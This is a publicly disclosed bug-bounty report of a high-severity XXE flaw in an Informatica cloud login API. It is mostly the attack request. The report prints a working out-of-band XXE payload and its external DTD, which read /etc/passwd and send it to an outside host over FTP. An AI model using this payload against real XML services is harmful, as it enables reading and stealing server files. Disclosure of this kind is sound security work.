HexBrain
Open on HackerOneSign in

Informatica · Report #105753

[app.informaticaondemand.com] XXE

Validstatus
highseverity
25upvotes
8 Apr 2017disclosed

How it was found

Request: POST /ma/api/v2/user/login HTTP/1.1 Host: app.informaticaondemand.com Content-Length: 285 Content-Type: application/xml Accept: application/xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE root [ <!ENTITY % b PUBLIC "lol" "file:///etc/passwd"> <!ENTITY % asd PUBLIC "lol" "http://mysite/xx.html">

%asd; %rrr;]> <login><username>[email protected]</username><password>Infa123</password></login>

Where xx.html:

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://mysite/%b;'>">%c;

Then i got file /etc/passwd (xxe_app.png)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original